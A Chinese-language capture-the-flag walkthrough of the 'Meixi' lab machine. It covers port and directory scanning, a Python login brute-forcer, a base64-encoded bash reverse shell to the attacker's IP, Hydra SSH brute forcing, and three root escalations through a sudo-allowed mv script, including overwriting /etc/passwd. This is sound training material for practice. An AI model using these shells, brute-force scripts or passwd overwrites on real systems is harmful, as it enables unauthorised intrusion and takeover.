Meixi

Nmap

```
[root@kali] /home/kali/meixi
❯ nmap 192.168.55.54 -sV -A -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-27 05:40 EDT
Nmap scan report for 192.168.55.54
Host is up (0.00040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Neon User Matrix
```

Feroxbuster

```
[root@kali] /home/kali/meixi
❯ feroxbuster -u 'http://192.168.55.54' -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x php,txt


 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
──────────────────────────┬──────────────────────
 🎯 Target Url            | http://192.168.55.54
 🚀 Threads               | 50
 📖 Wordlist              | /usr/share/wordlists/dirbuster/directory-list-
2.3-medium.txt
 👌 Status Codes          | All Status Codes!
 💥 Timeout (secs)        | 7
 🦡 User-Agent            | feroxbuster/2.11.0
 💉 Config File           | /etc/feroxbuster/ferox-config.toml
 🔎 Extract Links         | true
 💲 Extensions            | [php, txt]
 🏁 HTTP methods          | [GET]
 🔃 Recursion Depth       | 4
──────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      275c Auto-filtering found 404-like
response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      278c Auto-filtering found 404-like
response and created new filter; toggle off with --dont-filter
200      GET      130l      391w     4585c http://192.168.55.54/
200      GET       32l      139w     1556c http://192.168.55.54/login.php
200      GET        1l        1w       39c http://192.168.55.54/pass
200      GET     5000l     5003w    39685c http://192.168.55.54/5000.txt
```

扫到一个 `login.php` 和一个 `pass` 文件👇

```
❯ curl http://192.168.55.54/pass

NR==1000||NR==2000||NR==3000||NR==4000
```

这是在 `awk` 命令中使用的条件语句， `NR` 表示当前处理的**行号**，结合扫到的 `5000.txt` ，尝试取出指定行的密码进行尝试

Login Brute

进入网页根目录，源代码中给出了一个用户名列表

```
view-source:http://192.168.55.54/

const users = [
            "admin", "test", "guest", "info", "adm",
            "mysql", "user", "root", "administrator",
            "oracle", "ftp", "pi", "puppet", "ansible",
            "ec2-user", "vagrant", "azureuser"
        ];
```

输入错误的用户名密码，导致进不去 `?action=webshell` ，这里写一个爆破脚本

```
import requests

url = 'http://192.168.55.54/login.php'

session=requests.session() #保持会话状态

def login_form(username, password):
    return {
        'username': username,
        'password': password
    }

with open('users.txt') as f_user, open('passwords.txt') as f_pass:
    usernames = [line.strip() for line in f_user]
    passwords = [line.strip() for line in f_pass]

for user in usernames:
    for pwd in passwords:
        data = login_form(user, pwd)
        response = session.post(url, data=data)
        response=session.get(url+'?action=webshell')
        if 'Access Denied' not in response.text:
            print(f"[+] Found credentials {user}:{pwd}")
```

运行之后，可以发现 `root` 用户名可以使用四个密码进行登录

```
[root@kali] /home/kali/meixi
❯ python a.py
[+] Found credentials root:cassandra
[+] Found credentials root:fuckit
[+] Found credentials root:pinkgirl
[+] Found credentials root:summertime
```

前端登录按钮设置了一个 `disable` 属性，只需要手动去掉就行了

```
<input type="submit" value="Login" disabled>

<input type="submit" value="Login">
```

Own www-data

任意命令执行即可，攻击机上监听

```
printf KGJhc2ggPiYgL2Rldi9OY3AvMTkyLjE2OC41NS40LzQ0NDQgMD4mMSkgJg==|base64 -d|bash
```

Own User

查看到家目录下有其他几个用户，`www-data`并无直接提权的方式

```
www-data@Meixi:/home$ ls
hyh  laoye  qiaojojo  sublarge
```

因此尝试使用之前的密码字典来进行爆破，这里使用`hydra`，可以发现几个用户都可以登录

```
[root@kali] /home/kali/meixi
❯ hydra -L sshuser.txt -P passwords.txt ssh://192.168.55.54 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-27 05:53:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task
[DATA] attacking ssh://192.168.55.54:22/
[22][ssh] host: 192.168.55.54   login: sublarge   password: summertime
[22][ssh] host: 192.168.55.54   login: laoye   password: fuckit
[22][ssh] host: 192.168.55.54   login: qiaojojo   password: pinkgirl
[22][ssh] host: 192.168.55.54   login: hyh   password: cassandra
```

这里有用的就是`qiaojojo`用户了，直接登录即可

```
[root@kali] /home/kali/meixi
❯ ssh qiaojojo@192.168.55.54
qiaojojo@192.168.55.54's password:
Linux Meixi 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 27 05:54:07 2025 from 192.168.55.4
qiaojojo@Meixi:~$ cat user.txt
flag{user-0afxxxxxxx
```

Root

查看 `sudo -l`

```
qiaojojo@Meixi:~$ sudo -l
Matching Defaults entries for qiaojojo on Meixi:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User qiaojojo may run the following commands on Meixi:
    (ALL) NOPASSWD: /opt/move.sh
```

查看这个脚本内容

```
qiaojojo@Meixi:~$ cat /opt/move.sh
#!/bin/bash

if [ $# -ne 2 ]; then
    echo "Error: Incorrect number of arguments" >&2
    exit 1
fi

src_file=$1
dest_path=$2

if [ ! -f "$src_file" ]; then
    echo "Error: Source file does not exist" >&2
    exit 2
fi

mv "$src_file" "$dest_path"

if [ $? -eq 0 ]; then
    echo "File moved successfully: $src_file -> $dest_path"
else
    echo "Unknown error: Failed to move file" >&2
    exit 4
fi
```

很简单，就是一个类似于 `mv` 的命令，可以进行任意文件移动或者覆盖

Method1

直接 `mv` 拿到 `flag`

```
qiaojojo@Meixi:~$ sudo /opt/move.sh /root/root.txt /tmp/root.txt
File moved successfully: /root/root.txt -> /tmp/root.txt
qiaojojo@Meixi:~$ cat /tmp/root.txt
flag{root-137dd2xxxxxxxxx
qiaojojo@Meixi:~$
```

Method2

新建一个 `passwd`，指定一下 `hyh` 用户的 `UID` 和 `root` 的一样

```
qiaojojo@Meixi:/tmp$ cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
```

```
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
laoye:x:1000:1000:,,,:/home/laoye:/bin/bash
sublarge:x:1001:1001::/home/sublarge:/bin/bash
qiaojojo:x:1002:1002:catch me:/home/qiaojojo:/bin/bash
hyh:x:0:0:,,,:/root:/bin/bash

qiaojojo@Meixi:/tmp$ sudo /opt/move.sh /tmp/passwd /etc/passwd
File moved successfully: /tmp/passwd -> /etc/passwd
```

其中密码是已经知道的了，所以无需修改
然后就可以切换到`hyh`用户（`root`权限）

```
qiaojojo@Meixi:/tmp$ su hyh
Password:
root@Meixi:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@Meixi:/tmp#
```

Method3

既然都能直接覆盖文件了，可以直接覆盖掉`sudo`的脚本

```
qiaojojo@Meixi:/tmp$ sudo /opt/move.sh /usr/bin/bash /opt/move.sh
File moved successfully: /usr/bin/bash -> /opt/move.sh

qiaojojo@Meixi:/tmp$ sudo /opt/move.sh
root@Meixi:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@Meixi:/tmp#
```

Summary

`mv` 命令会导致任意文件修改或者覆盖的问题，因此提权部分就很容易了，也不仅限于这三种